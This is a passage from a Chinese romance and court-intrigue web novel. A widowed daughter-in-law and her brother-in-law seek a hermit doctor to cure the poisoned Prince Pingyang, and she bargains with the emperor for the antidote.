可最后，她只是嗓音发干，低声说了一句：“多谢。” 门外。 平阳王楚天旭静静站着。 他是听说王府进了刺客，洛清泠受伤一事才匆匆回府的，本想将自己那个不肖子揪出来好好打一顿，才说了让他保护好洛清泠，就出来这样的事。 结果找过去，却被管家告知楚砚寒正在东苑之中。 “还好，知道去赔罪，哼。” 楚天旭冷哼一声，便也往东苑这边来了。 进了院门，就看见房门开着，洛清泠的丫头青云跪在地上，他心中一怒，只以为是楚砚寒欺负了洛清泠，大步走来，正好听见洛清泠的话。 回到战场。 哪怕从一个大头兵做起。 当年洛家军是何等的风光，纪律严明，指哪打哪，可洛清泠，却愿意从一个大头兵做起…… 楚天旭心中顿时一酸，又涌起些欣慰豪情。 听到屋中换了话题，楚天旭才理了理衣袍，轻咳一声，转到了门前。 “父王？您怎么来了？” 楚砚寒闻声一愣，站了起来。 “怎么，我不能来？”楚天旭 洛清泠听到声音，就要起身行礼，被楚天旭制止：“行了，你有伤在身，躺着就是。” 洛清泠心下一惊，连忙解释道：“父王，儿媳无事。” 第十三章 不要亏待了她 楚天旭不好进门，就站在外面，摆摆手：“不必和本王客气，当年你母亲将你送入王府，本就是想让王府庇护你，可你这——” 又是被赵承宇调戏，又是被刺客中伤的。 他都要没脸去见自己的老朋友了。 楚天旭叹了口气：“这口气，本王会为你讨回来，不必再说了，你好好休息。” “父王！儿媳真的没事！” 洛云宁知道楚天旭已经知道昨晚发生的事了，但相比不清楚中间缘由，连忙解释：“昨日虽有刺客，但儿媳尚有点技艺傍身，真没受伤。” 更多的，是她不想楚天旭为了她和宁王对上！ 平西王府现在身份地位尴尬，而宁王是皇帝面前的红人，和宁王硬碰硬，就算不吃亏，也要在皇帝面前落个闹事没脸，岂不是得不偿失？ 而且，她自己也能应付！ 平西王府已经为自己做了很多了，她总不能一直依赖他们。 “行，本王知道了。” 楚天旭随口安慰道，看向楚砚寒。 楚砚寒点了点头，表示自己知道了。 “行了，清泠啊，你好好休息，本王就带这臭小子先走了，就算你有功夫傍身，可这刺客这么轻易就进了王府，还是这臭小子对王府把控不利导致的。” “是，我该罚。”楚砚寒点头应声。 洛清泠都无奈了。 只能看着这两父子一前一后离开。 青云送了人出去，回来将门一关，连忙跑过来，看着洛清泠的双眼都红了。 “小姐，您为什么这么命苦……” “行了，我不觉得命苦。” 洛清泠笑笑，揽过青云：“刚才那么重一下，怎么就跪下去了，腿可伤了？” 青云抽抽噎噎，被洛清泠哄了好一阵才破涕为笑，抹着眼睛道：“小姐，王爷和世子都是好人。” “嗯。” 洛清泠心中微叹。 她就是知道他们是好人，才能不想拖累了他们。 楚天旭带着楚砚寒出了院子，没走几步，就停了下来。 “你打算怎么办？” “儿子心中有数。” 楚砚寒语气之中全是寒意。 洛清泠说没有受伤，可刚才她在帘后着急得不得了，恨不得不顾礼法直接冲出来证明时，帘子微动了动。 他在那一瞬，正好抬头，越过缝隙，看见了洛清泠苍白的脸色。 “嗯，那就去办吧。” 楚天旭冷嗤一声：“有些人，真实安逸久了，就无法无天了。” 他转头看着自己这个儿子。 少年人形如青松，面容俊逸，已出落成个亭亭玉立的公子。 他严肃的眉宇稍微松了一瞬，拍拍楚砚寒的肩。 “清泠是个好孩子，这些年孤苦伶仃，被人欺负了也没处说去。我是个大老粗，平时注意不到这么多，你既然回来了，就多关心关心你嫂子。” “她为明霄守节，不要亏待了她。” 楚砚寒不知为何，竟然不敢面对父亲那双深邃的眼。 他抱拳，低下了头：“儿子明白。” ＊ 天香楼。 赵承宇推开一间包房，走了进去。 “啪！”的一声。 一个粉蝶青瓷盏砸在他耳边不远的窗柩上，碎了。 “赵承宇，你还有脸找我！” 宋绾绾看到赵承宇，就想到他之前办的好事。 没有一件成功的！ 反而还要她来擦屁股！ 若非赵承宇这般无用，她哪里还会被洛清泠那个贱人这样羞辱？ 尤其是那日在宁王府！ 赵承宇不敢惹宋绾绾，堆笑道：“郡主息怒，郡主息怒，不是在下办事不利，实在是那洛清泠太过狡诈，又有楚砚寒相助……” “你给我闭嘴！” 宋绾绾一听到洛清泠和楚砚寒的名字连在一起就心梗得难受。 赵承宇抖了一下，不敢说话了。 宋绾绾平复了一下心情，这才道：“说罢，约我出来，所为何事。” 赵承宇斟酌片刻，道：“在下其实是想让郡主帮个小忙。” “本郡主帮你的还不多？”宋绾绾斜眼睨着赵承宇。 赵承宇笑道：“在下希望郡主能去求求陛下，让陛下赐婚，将洛清泠嫁给我……” 他在宋绾绾越来越黑的脸色中闭了嘴。 宋绾绾冷笑一声：“我还没帮你？那日在宁王府那么好的机会，你都没把握住，现在还想让我去给你求旨？” 若是那日在宁王府，赵承宇就将洛清泠睡了，也就没有后面那么多事了！ “愚蠢！” 宋绾绾又砸了一个杯盏。 赵承宇在心里翻了个白眼，心想这祖宗想来是在哪里受了气，他也是正好撞到她的枪口上，做了他的出气筒罢了。 他等宋绾绾发够了脾气，才赔笑道：“郡主教训得是，在下这就想办法，尽快让洛清泠脱离平西王府，嫁给我。” “到时候，郡主想怎么出气，就怎么出气！” 宋绾绾眯起眼睛：“你最好说到做到。” 赵承宇离开后，筠儿命人将房间之中稍作收拾，问道：“郡主，还要相信赵承宇么？” “哼，蠢笨如猪的东西。”宋绾绾冷哼一声：“等他的消息，不如我亲自出手。” 她看着筠儿：“去，准备些东西，我回一趟宁王府。” 洛清泠那边不好下手，她就去求父王，让陛下给她和楚砚寒赐婚！ 她本想徐徐图之，让楚砚寒亲自上门求取，但现在洛清泠那个贱人横亘在中间，不知道和楚砚寒说了什么，惹得楚砚寒根本不睁眼看她！ 她还不信了，等她嫁给了楚砚寒，洛清泠还能是她的对手！ ＊ 洛清泠根本没有受伤，却还是被青云拦着修养了两日才放出来。 府中不少补品不要钱似的往她院中送，洛清泠头大得不得了，决定尽快将自己上战场的事情搞定，便吩咐青云将她带来的嫁妆给开了。 青云捧着一朱红箱子进屋，脸上因为激动，萦起一片绯红。 洛清泠见状，只是笑笑。 她深呼吸一口气，拿来钥匙，将朱红箱子开了，里面赫然是几件折叠好的衣服。 她将最上面一件打开，手指都忍不住在轻轻颤抖。 这是洛家的战袍。 每个洛家子弟，都有一件这样的战袍。 她的这件，被锁在这箱子里，已有许多年了。 洛清泠不由自主将衣服拢在怀里，眼眸通红。 第十四章 王爷遭人暗算了！ 洛清泠换上战袍，水红内衬外罩盔甲，头发梳成了高马尾的模样。 她转过屏风，青云下意识屏住了呼吸，眼眶一红，几乎垂下泪来。 “小姐……”她哽咽着，露出一个笑容：“终于又看见小姐穿战袍的模样了！还是这么帅！” “行了，就你嘴贫。” 洛清泠笑笑，走出房门，准备在院子里练练拳脚，一出门，就和刚进院子的楚砚寒对上了眼。 两人同时停了下来。 “哪里是贫嘴，小姐就是英姿飒爽嘛！” 青云嘟囔着从身后走来，见到楚砚寒，连忙行礼道：“见过世子。” 楚砚寒挑眉：“你家侍女说得也没错，英姿飒爽，巾帼须眉。” 他第一次见洛清泠，洛清泠穿着火红嫁衣，蒙着面，嫁入王府。 之后……就是洛清泠娴静淡然，犹如夏日初荷般的模样。 虽然知道她是洛家之女，又有些手段，却还是第一次见她这般模样。 战袍穿在身上，勾勒着她纤细却不失力量的腰身，身板笔直，像是一株宁折不弯的翠竹。 “这般风采，世所少有……”楚砚寒轻叹一声。 洛清泠心头一跳，脸色一红，转过身去：“二弟慎言。” 楚砚寒愣住，这才发现自己刚才的话语多有不适。 他真是昏了头了！ 这是他嫂子，他说话怎可这般轻浮！ 楚砚寒想要解释什么，可看着洛清泠烧红的耳垂，又一时什么话也说不出。 “小姐不是要练枪么，趁着日头还不大，小姐先练练吧。” 青云适时出声，将这暧昧的氛围打断。 “嫂子可有趁手的长枪，府中兵器库里还有几把好枪，若是嫂子不嫌弃，二弟这就去取来。” 洛清泠侧眸，轻轻点了点头：“劳烦二弟。” 洛清泠一身武义还没忘却，这几日就在院中练习，不过两日，就已经完全找回了之前的状态。 她时刻准备着迎接皇帝的旨意。 但，皇帝竟然还没有动作……是她想多了吗？ 这日她刚练完一套拳法，青云拿了长绢给她擦汗，忽然听外头叫嚷起来。 洛清泠蹙眉道：“发生什么事了？” “奴婢去看看。” 青云出去一会儿，面色着急地回来：“小姐，王爷昏迷了！” “什么？” 洛清泠立刻沐浴更衣，匆匆往楚天旭那边去，走进院子里，就看见院子里围着一群大夫，楚砚寒面色沉沉地站在中间。 “世子，少夫人来了。” 楚砚寒抬眸，对洛清泠点了点头。 两人走到旁边，洛清泠低声问：“发生什么事情了？” “今天早上管家不见父王起来上朝，进去喊，才发现父王昏迷了。” 楚砚寒随意站着，一派纨绔子弟的模样。 他往院子中看了一眼：“这些都是请来的太医，但他们也说不出什么所以然来。” “是因为……我的事情吗？”洛清泠皱了皱眉，问得很轻。 “和你没关系。”楚砚寒道：“父王这些年政敌不少，谁知道是在哪里受了暗算，别想太多。” 他丢下一句话，就回到了院子里，满脸戾气地看着这些正在商议的大夫。 “碰！” 他踹翻一个石凳，引得众人看来。 “到底能不能治，给个话儿啊。” 太医可都记得这位是京城有名的纨绔，连皇帝的面子也不给的，见他动了怒，纷纷禁声，不敢多说。 “啧，哑巴了？” 还是没人说话。 楚砚寒放下脚来，理了理衣襟，露出个邪笑：“既然这样，那诸位就先别回去了，什么时候治好了我父王，什么时候再走。” “这么几个人，我王府还是养得起。” 这意思就是要将众太医都关在王府了！ 一时不少人都变了脸色，还有要呵斥楚砚寒的，被其他人拉住。 “别生气，你和这小霸王硬拼，讨不了好。” 楚砚寒说完就准备进屋里看楚天旭的情况，一老太医上前两步：“世子，王爷的病我等的确还没诊出什么章程来，不过，微臣听说城外青玉山上有个隐世神医，名声狂噪，若是世子能将此人请来，也许能有些办法。” 楚砚寒视线扫过那老太医沟壑纵横的脸，勾唇一笑：“好，本世子就按照章老太医的法子，去请神医。” 他挥了挥手，立刻有侍从下去准备马车。 洛清泠也从院中退出，来至后门处，正好小厮牵了马车过来，见到洛清泠一愣：“少夫人，您这是？” “我有事与世子说，在这里等等他。” 小厮没多问，备好马车不久，楚砚寒就来了。 看见洛清泠，瞬间就明白了洛清泠的意思，道：“嫂子不用跑这一趟，我去就行了。” “现在父王昏迷，府中又有人坐镇，连你也走了，府里还不乱成一团？”洛清泠解释道：“我去请那神医也是一样的，还是说二弟你不信我能将神医请来？” “我不是这个意思。” 楚砚寒含着洛清泠倔强的眉眼，低声道：“父王昏迷，意味着京中将有大事发生，且不希望我父亲参与。章太医是宫中老太医，多年来不站队只治病，他说的话可信。” “所以这城外的隐世神医，兴许真能救父王。” “但也正是因为如此，那背后之人指不定有所行动，想方设法阻止，那请神医的路上……就凶险了。” 他自然不可能让洛清泠去请，若是中途出现了什么意外，他如何给、如何给大哥交代？ “若是凶险，那我更应该去了。”洛清泠道：“我的手段二弟应是见识过的。” 楚砚寒执拗不过，只能同意，但他也不放心洛清泠一人前往，两人便同去。 洛清泠喊来青云，吩咐道：“我和世子很快回来，你在府中守着，王爷那边必要确保万无一失。” “嗯！青云明白！” 青玉山就在城外不远，连绵起伏，是一座十分巨大的山脉，将整个西南尽数笼罩，是京城的天然屏障。 最近的一座山头上有座青玉古庙，香客众多，香火不断，也算是京畿之地，一人气鼎沸之处。 第十五章 山中 两人架着马车一路出城，上了青玉山不远，便是陡峭山路，马车行得困难，只能尽量找些可行之路。 洛清泠计算着两人出来的时间，忽然马车一停，她手扶着车门挡了挡，稳住身子。 “你们是谁？” 马车外，传来楚砚寒的呵斥声。 洛清泠掀开车帘往外一看，却见原本就不宽敞的小路上歪七扭八，站着好几个手拿大刀的莽汉。 “别管你爷爷是谁，想要从这里过，给爷爷把买路钱留下！” 山贼？ 洛清泠正想着，却见一拿大刀的莽汉抬头对上了她的视线，当即眼睛一亮，指着她道：“老大！车里还有个美人！” 楚砚寒双眼一眯，冷笑道：“就凭你们几个歪瓜裂枣，也敢在这里当起山大王来了。” 他们本就是轻装出门，除了一个小厮，也没带侍卫，楚砚寒不怕这几个不入流的山贼，唯独担心洛清泠会在打斗之中受伤。 他正准备说话，让洛清泠往后躲一躲，却见洛清泠自己开了车门，走了出来。 “你出来做什么？这点人我——” 洛清泠按住楚砚寒的肩膀，轻轻摇了摇头：“这几个人形容莽撞，但刀锋新鲜，穿着朴素，却不见污渍——几位，第一次当山贼吧。” 洛清泠眯了眯眼，哂笑一声：“说罢，谁让你们来的。” 为首那山贼冷笑：“听不懂你在说什么，老子四海为家，今天遇到我算你们倒霉！” “死鸭子嘴硬。” 洛清泠手腕一翻，数枚银针已经爆射出去，山贼们挥刀预挡，只听一阵叮叮当当的声响，接着，一山贼闷哼一声直接半跪下来。 显然是没挡下所有银针，被穿了膝盖。 “好个狠毒的婆娘，一出手就这么不留情面！”山贼头头怒目而视，挥刀砍来。 洛清泠还没动作，那人就被楚砚寒一脚踹翻在地。 她不慌不忙地补了一针，山林之中顿时想起一阵杀猪般的惨叫。 楚砚寒收回腿，诧异地看了洛清泠一眼。 两人竟然有如此默契…… “好汉饶命！好汉饶命啊！啊！” 那大汉一边翻滚喊疼一边求饶，洛清泠的银针下去，连受过训练的侍卫都受不住，更何况这一群游兵散将？ 有人一倒，剩下的人也就失去了主心骨，骚乱起来，忌惮洛清泠的手段，又不敢就这么离开。 “说，还是不说？”洛清泠逼问道。 “说，我们都说！” “我们都是良民，只是有人给了我们银子和武器，让我们在这里截杀马车，只是这样，真的只是这样！” “我们才遇见了你们一辆马车啊！” 山贼们七嘴八舌地说起来。 “对对！雇佣我们的是一个女子！” “我们派人跟踪了她……看她的马车进了城北最大的一户宅子！” 城北最大的一户宅子……非宁王府莫属了。 洛清泠看了楚砚寒一眼，眼中已涌起了些许怒意。 无论宋绾绾和背后给王爷下毒的人有没有牵扯，前来阻拦他们上山寻医，就是彻底得罪了她了！ “嫂子打算如何处置？”楚砚寒问。 洛清泠冷笑：“你确定让我处置？” “但凭嫂子吩咐。” “那好，”洛清泠点点头，扬声说道：“你们，现在分一半人，找到宁王府门口去，只管在王府门口去哭就是了。轮流哭上个三日。” “可、可这不是要我们的命吗？我们哪里敢和宁王府作对啊！” “只管哭就行了，我保证宋绾绾不敢动你们。” 洛清泠说完就回了马车里。 楚砚寒便吩咐小厮，将这群人看管着，往城中送去，自己则是带着洛清泠继续找路。 奈何越往山上走，连小路也不好走了，只能将马车舍弃步行。 越走草从越深，已经不怎么能看见路了。 “没想到嫂子心思如此细腻。”楚砚寒解了佩剑开路，一边注意着洛清泠的动静，随口找了话来谈：“一眼就识破了那几个山贼的来历。” “天子脚下，若是真有这么大一群山贼，早叫城中兵马剿了，哪里轮得到他们在这里作威作福？” 洛清泠随口解释了一声，忽然看见什么，连忙道：“二弟，你来看！那处树木与别处不近相同！” 楚砚寒走过去一看，便发现洛清泠指的是好几棵大树之间的地方。 此木低矮，枝丫丛生，可那几棵树之间却完全没有枝丫，反而留出一片空来，就好像有人专门搭理过，清理出了一个供人行走的路径。 楚砚寒凑近过去，摸了摸树木，回头对洛清泠道：“的确是有人清理过，想来应该是有路，我们从这个方向走。” 一路辨认着，又走了大半个时辰，前方霍然开朗，竟然直接从杂乱的丛林之中出去了，入目然而是明显有人打理过的田地。 虽打理得并不仔细，却已经可见人工痕迹了。 洛清泠松了口气：“看来我们方向没有找错。” “嗯，往上走走吧，”楚砚寒略过洛清泠满是汗珠的额头，从怀中掏出锦帕来：“擦擦汗。” 那锦帕是楚砚寒贴身带着的，站满了浅浅的木香，洛清泠下意识后退一步：“不必，我自己带了。” 她从袖子里拿锦帕，楚砚寒正收手，忽然眼瞳一缩，一把拽住洛清泠的手腕，将她拉倒怀中！ “吼——” 一道兽吼豁然在身后响起！ 洛清泠脸色一白，连忙回头看去，却是一只黄皮吊睛虎！ 身长丈许，毛色鲜亮，尖锐的虎牙上还挂着涎水。 那老虎也不知是何时来的，肥硕的虎掌落在地上，慢慢围着两人转圈。 楚砚寒将洛清泠护在身后，手中捏紧了佩剑。 “吼——！” 老虎一声长啸，直接扑了过来！ 楚砚寒反手将洛清泠推出去，提着佩剑就迎了上去：“嫂子快走！” 走？我走哪里去？ 那可是老虎！ 洛清泠甚至来不及思索为何这里会有老虎，已经一把摘了自己脑袋上的银钗，从中间劈断，竟然是一把寒光凛冽的锋利小刀。 老虎皮糙肉厚，楚砚寒随身带着的佩剑又是一把软剑，灵活有余，锋利却不足，几剑下去，就伤了点皮毛，反倒将老虎彻底惹毛了！ 第十六章 求医 洛清泠守在一旁，随时准备找到老虎的弱点，尽快将老虎制服。 忽然，她听到一道细细的鸣叫，从森林深处传来。 洛清泠诧异抬头，只见一巴掌大的黑黄条纹状东西从一树叶后蹿了过去。 接着，那东西转过头来，露出一双湿漉漉的大眼睛，一眨不眨地看着她。 那小东西动了动，没站稳，摔在地上，还没长什么牙齿的嘴巴长大，发出一声短促的“喵嗷”声。 小老虎？ 难道是这大老虎的小崽子？ 那小东西又喵呜了一声，打老虎顿时打得更凶了。 楚砚寒也不耐烦就这么纠缠下去，而且洛清泠就站在他不远处，若是这畜生忽然转头去对付洛清泠，受伤了怎么办？ “等等！” 洛清泠看见楚砚寒的动作，直到他准备下死手了，连忙出声喊道：“二弟！不要下死手！” 楚砚寒下意识照做，长剑斜劈出去，在老虎的后腿上留下一道长痕！ “吼！！”老虎吃痛，忌惮地退开了。 洛清泠一把拽住楚砚寒：“我们先退！” 楚砚寒不知道洛清泠打得什么主意，也没有反驳，只是一边警惕着老虎的行动，一边和洛清泠往山上退去。 直到看不见老虎的身影了，两人这才转头狂奔，彻底离开了这个范围才停下。 “嫂子怎么突然叫我停手了？” 洛清泠将银钗重新篦回头上，将自己看见的小东西说了说。 “那老虎想来是为了护崽，察觉到我们的危险才动手的，我们想要逼走它也不可能，想要宰了它也要费些功夫，不如伤了它快走为好。” 楚砚寒轻笑一声：“好，听你的。” 然后得到了洛清泠的一个白眼。 两人辨认了一会儿方向，楚砚寒道：“这里应该已是半山，往上大概还有一半的路程，嫂子可要休息一阵？” “不了，尽快找到那神医吧。” 洛清泠摇摇头，已经抬步往前走了。 楚砚寒无法，只能跟上。 两人走了约莫半个钟的功夫，山间忽然就起了一层大雾。 那雾来得蹊跷，伴随着一股腐香，让人头脑一阵阵发晕。 “有毒，嫂子快走。” 楚砚寒一把捂住口鼻，拉着洛清泠就往前冲。 他动用了内力，为了尽快冲出浓雾，最后只能说一声得罪，然后一把揽过洛清泠的腰身，运转内力往上冲。 只是没想到后面的路程，全都被浓雾笼罩，在楚砚寒头脑微微发昏时，才终于冲了出来，落在一处平台之上。 已经到达山顶。 楚砚寒急促喘息着，将雾气的余毒排出体外，直到手臂上一痛，才反应过来自己温香软玉在怀，脑子里当即嗡了一声，连连松开手。 “咳咳，事出从急，还请嫂子原谅。” “嗯，我知道。” 洛清泠转开身，背对着楚砚寒。 眼前是一个不大的平台，除了几畦开垦得整齐的田地，还有一个竹屋。 洛清泠快步上前：“前辈，晚辈京城洛府洛清泠求见！” 屋中安安静静。 洛清泠侧耳停了停，回头对上正在调息的楚砚寒，摇摇头：“屋中似乎没有人。” “这里不像是没人居住的模样。” 楚砚寒抬眼看了一眼：“我们在周围找找吧。” “你们是谁，来我门前做什么。” 正说着，身后一道苍老的声音传来，两人转头，便看见一麻衣老者，背着背篓和锄头，手里还提着一把草药，从另外一边转了过来。 “敢问前辈，可是穆见骨老前辈！” 那老者眼皮都没抬一下，就推开门走了进去。 “走吧，我这里不接待生人。” “前辈！”洛清泠赶忙上前，赶在老者关门之前拦住了，“前辈，晚辈洛清泠，上山是想求前辈下山，给我公爹看病。” 老者这才抬起头，认真打量了她一眼，半晌，道：“走吧，老头儿我不行医了。” “前辈！” 只说不行医，却没说治不了，可见是对自己医术有十足的把握的。 洛清泠哪肯轻易离开，诚恳道：“只要前辈愿意下山救我公爹，要晚辈付出什么代价都可以！” “什么代价都可以，小娃娃，话不要说得这么满，我说要你的命，你也答应不成？” 老头冷笑一声：“行了，下山去吧。” 说着就要关门。 洛清泠捏了捏拳头，点头：“晚辈愿意。” “嗯？” 老头关门的手一顿，试图从洛清泠的脸上找到一丝玩笑之意。 可看来看去，只看到她伸手扒了钗，将短匕落在了自己脖间：“若是前辈不信，晚辈现在就——” “洛清泠！” 愤怒的声音从身后传来，接着，一股几乎捏碎她骨头的力量直接落在了她手上。 “吧嗒”。 短匕落地。 “洛清泠，谁允许你为了我爹连命都不要了？” 楚砚寒手都还在发抖。 几乎不敢想，他不过是短短闭了一下眼睛，再睁开，就是洛清泠引颈就戮的模样！ “那是我爹！要以命换命，也应该我去换！” 洛清泠看着他，眼眸温和下来：“你是公爹唯一的儿子了。” 平阳王府之前对她伸出援手，她不可能让楚砚寒死在自己面前。 两人僵持不下，倒是麻衣老者哼笑道：“成了，你们小两口是没事干了嘛，到我一个糟老头子面前卿卿我我的。” 洛清泠耳朵骤然一红，矢口否认道：“前辈误会了，这是我小叔子……” 连楚砚寒都一时没控制住力道，在洛清泠手背上留下一道红痕。 一时松手不是，握着不是，尴尬地看着那老者。 穆见骨摆摆手，示意不用解释了：“救人是不是？” 两人甚至没有反应过来老头的意思，直到老头吹胡子瞪眼才骤然回神：“是！多谢前辈愿意出手！” 楚砚寒和洛清泠连忙给穆见骨收拾东西，随着下山。 洛清泠好奇地看着他的背影，忍不住问了一声：“前辈，晚辈可以问问，您怎么突然愿意下山救人了？” “老头儿我高兴不行？”穆见骨哼笑两声：“小娃娃，也是你运气好，老头儿我今日心情不错，这浑水愿意趟一趟。” 第十七章 不能让王府出事 楚砚寒也看着穆见骨的背影，听到这样的回答，眼眸微微一深。 他可不认为，这老头是忽然心情好起来的。 说不定……别有目的。 还是要再打听打听。 正想着，忽然听到那老头懒洋洋地开口道： “不然，就是你小两口死在我面前，老头我也不会动一下眼皮子。” 楚砚寒猛地撇开了视线。 洛清泠嚷道：“前辈！都说了不是了！” 穆见骨只是笑，笑够了才道：“至于这个报酬，老儿我自有讨要的时候。” 回到平阳王府，穆见骨也只是看了一眼王府门头，就走了进去。 青云已经按照吩咐，将院子里的太医都安排到其他地方去休息了，床边，只有楚砚寒独自守着穆见骨看诊。 洛清泠在院子里等着，不一会儿，就看见老头擦着手出来了。 “行了，也不是什么大问题。”他对两人道：“你爹是中毒不假，此毒虽怪，但也不是无药可解。” “还请前辈赐教。” “唔，水晶果知道么？”穆见骨将帕子丢开，在桌上坐下，倒了杯茶水慢慢品：“你将这玩意儿找来，你爹的毒，我就能解。” 水晶果？ 洛清泠几乎没听过这玩意儿，可看见楚砚寒平静的模样，便知道他应该有消息，便和穆见骨道了谢，又安排了院子，将人送去后，才找到楚砚寒问。 小厮说楚砚寒去了书房，洛清泠便也找去，不成想正好看见他换衣，羞得脸一红，骂道：“怎么不关门！” 楚砚寒也没想到会撞上洛清泠，一个闪身，进了屏风之后：“冒犯嫂子了。” 洛清泠拍了拍脸，让自己脸上的温度降下来，尽量不要去想那日的情况，忽然想到自己刚才恍惚一眼看见的，连忙问道：“你穿朝服做什么？” “水晶果是朝贡之物，如今只有宫里才有，我要进宫去求陛下。” 楚砚寒换了衣服出来，玄色朝服更衬得少年身姿修长，如磋如琢。 怎么会这么巧！ 洛清泠忍不住捏紧了拳头，嗓音发干：“陛下，不一定会轻易给……” 楚砚寒自然知道，他沉默半晌，道：“只能一试了。” “我去！” 洛清泠忽然打断道：“让我去，只要我能顺了陛下的心意，陛下一高兴，想来，这水晶果就赐下来了。” “你顺他什么心意？”楚砚寒眉头拧出一个褶，几乎咬牙切齿：“下堂平阳王府么？” 洛清泠没有回答，只是道：“如今，只有这个法子了。” 她不能让楚天旭出事。 说完，她转身就走，却不察身后一道劲风，接着，脖颈一痛，就彻底失去了意识。 皇宫。 御书房。 楚砚寒已经站了大半个时辰，皇帝就在他前方不远的案桌上批折子。 淡定，悠闲，是不是呷口茶。 皇帝百忙之中抬起头，看见楚砚寒，愣了一下，然后笑起来：“楚世子还在啊，朕这几日真是忙得很，一不小心就把你忘了，你看这闹的，云福，还不给楚世子赐座？” 云福公公立刻笑着赔罪。 “哦对了，你来找朕是做什么来了？”皇帝又笑着问了一句。 楚砚寒不卑不亢，道：“回陛下，微臣是来求药的。” “哦对对，你说过了，平阳王被人暗算了，可知道是什么人做的？” “尚未查清。” 皇帝沉吟：“这样啊，可要朕下令大理寺全权调查此事？敢暗算亲王，胆子倒是不小。” 楚砚寒没有回答。 他看懂了皇帝眼中的戏谑之意，也明白对方现在顾左右而言他，只是想给他一个下马威，不想赐药罢了。 “陛下，还请您看在平阳王这么多年，征战沙场，平定战乱，没有功劳也有苦劳的份儿上，救救臣父。” 皇帝脸上的笑容缓缓收了回去，一副高深莫测的模样。 “楚世子，你这话，是在威胁朕？” 他冷笑：“平阳王为朕做出了许多贡献，所以若是朕不肯满足你们平阳王府的要求，朕就成了那过河拆桥的白眼狼了，你是这意思不是？” 楚砚寒跪下，背脊挺直，否认道：“微臣担心父王病重，一时情急说错了话，还请陛下息怒！” 皇帝手中摩挲着扳指，哼笑一声：“朕看你这态度，可没有赔罪的意思。” 楚砚寒道：“请陛下赐药。” “楚砚寒！你好大的胆子！” 桌案被拍得砰的一声响，皇帝黑着脸道：“朕当朕治不了你了？” “来人！楚砚寒藐视皇权，冒犯皇威，给朕拉下去，关进大牢！” 侍卫冲进来，楚砚寒长吐了一口气，将胸中的愤懑尽数压下，尽量平静地对皇帝行了一礼，道：“微臣领旨受罚。” 世子一进宫就是一日夜，到第二天都还没出来，王府已经乱成了一团。 穆见骨早上又去诊了一趟脉，出来后说：“王爷毒入骨髓，若是不能在两日内用药，只怕是再也无法苏醒了。” 消息传到洛清泠耳朵里时，她才刚刚苏醒。 青云给她后颈上药，心疼得很：“虽然知道世子是为了小姐好，可这下手也太重了！” “青云，你去前厅问问情况。” 洛清泠摸了摸自己后颈，叹了口气。 她对楚砚寒，是不是太不设防了？所以才会让他这么轻易偷袭成功。 青云点点头出去，接着就回来告知了洛清泠楚砚寒一夜未回，王爷必须尽快用药的事情。 “小姐，怎么办啊？”青云担心地看着洛清泠。 洛清泠坐着没动。 楚砚寒不是分不清轻重缓急的人，不论求没求到药，必然会让人回来通传一声，省的大家担心。 但现在去了一夜都没消息……多半是被扣在宫里了。 若只是被单纯扣住，也还好，怕的就是皇帝小题大做，趁机整治楚砚寒。 时间一分一秒地过去，洛清泠的背脊稍稍一松。 她把脸埋在青云怀里，很轻地叹了口气。 “我不能让平阳王府出事。” 青云抓着她的肩上衣服的手一紧，不等说什么，就肩小姐已经离开了她怀里，站了起来。 “青云，去把衣服拿来，我要进宫。” 第十八章 代价 洛清泠的帖子往宫里一递，就得到了回复。 洛清泠拿着入宫的帖子，扯嘴冷笑：“答复这么快，像是生怕我改了主意似的。” 宫车辘辘。 洛清泠被请到了御书房门口。 她没有职衔，没有进入御书房的资格，只能跪在御书房外觐见。 云福公公两头传信，时而快时而慢，洛清泠足足跪了小半个时辰，才得到皇帝的一句话：“为平阳王求药？洛清泠，你以什么身份来朕面前替平阳王求药？” 无论什么身份。 皇帝的回答只会是——你不配。 洛清泠知道皇帝要的是什么，他拿捏这平阳王的性命和楚砚寒的前途，威胁她自己乖乖上套，把他要的，拱手送上。 洛清泠闭了闭眼，叩地跪拜：“臣妇闻边境动荡，大军压境，自请想为陛下分忧。” “哦？你想像你父兄那样，上战场？”皇帝淡淡地看着洛清泠。 “不，”洛清泠话语平静，却铿锵有力：“臣妇女流之姿，不曾习得父兄真传，更没本事与陛下立力挽狂澜的军令状，臣妇唯有一副薄躯，愿为陛下排忧解难。” 皇帝手指在桌上轻轻一敲：“洛清泠，你可知你这话的意思。” “是，臣妇自请下堂，完成三年前与越过的和平协定，结两国之好。” 话落，现场一片安静。 半晌，皇帝才从上首下来，拍掌笑道：“好，好，清泠啊，你为朕分忧解难，朕不会忘记你的功劳，说罢，想要什么？” 洛清泠被云福公公搀扶起来，已经跪肿的膝盖一阵酸痛。 “能为陛下分忧，是臣妇的荣幸，”她垂着眼皮，恭敬答道：“只是臣妇与平阳王府姻亲一场，临到分别，不忍看王爷和世子父子分别，还请陛下体谅臣妇一片孝心。” “清泠有如此孝心，朕自当满足。”皇帝眯眼道：“云福。” 云福公公答应一声，随后对洛清泠道：“楚少夫人，老奴送你出宫。” “多谢陛下。” 云福公公亲自送洛清泠出宫，把她交到了青云手里，意味深长道：“少夫人回去后，好生休息，圣旨不日就到。” “多谢公公。” 青云搀扶洛清泠上马车，掀开裙摆，看着肿胀青紫的膝盖，忍不住哭起来：“小姐何必去受这样的罪……” “青云！这样的话日后不必再说。” 青云看着洛清泠严肃的面容，哭得更厉害，只能回身去拿药膏给她擦上。 回到王府，她自去休息，让青云将陛下会赐药的消息告知管家，稳住府中人心。 不到正午，王府大门扣响，小厮开门一看，顿时喜笑颜开：“世子回来了！世子回来了！” 还不等他看清人影，楚砚寒已经风一般冲了进去，直奔东苑而去。 他嘴唇抿紧，脑海之中一直是云福公公将他放出来时那挤眉弄眼的表情。 “世子好福气，有个这样识大体的嫂嫂。” 洛清泠。 洛清泠！ 一定是洛清泠做了什么！ 楚砚寒甚至顾不上礼仪，直接冲进了东苑，一把推开门。 浅淡的药香瞬间盈满鼻腔。 洛清泠匆匆将裙摆放下，呵斥道：“这般急急忙忙做什么。” “你受伤了？” 楚砚寒低声看着她的裙摆。 “一点小伤罢了，两日就好。”洛清泠叹了口气：“用这点代价换来所需之物，已是大值。” “洛清泠，你做了什么？”楚砚寒连嫂子都不喊了，直愣愣站在门口。 他不信洛清泠只是跪一跪，皇帝就会松口。 “我能做什么，不过是进宫去求了陛下罢了。” 洛清泠也看着楚砚寒。 这么风尘仆仆，带着一股子牢狱腥腐味道，他这一晚到底在哪里，已经不用多说。 她别开眼：“如今陛下已经答应赐药，你一夜未归，府中人心惶惶，你且过去主持大局要紧。” 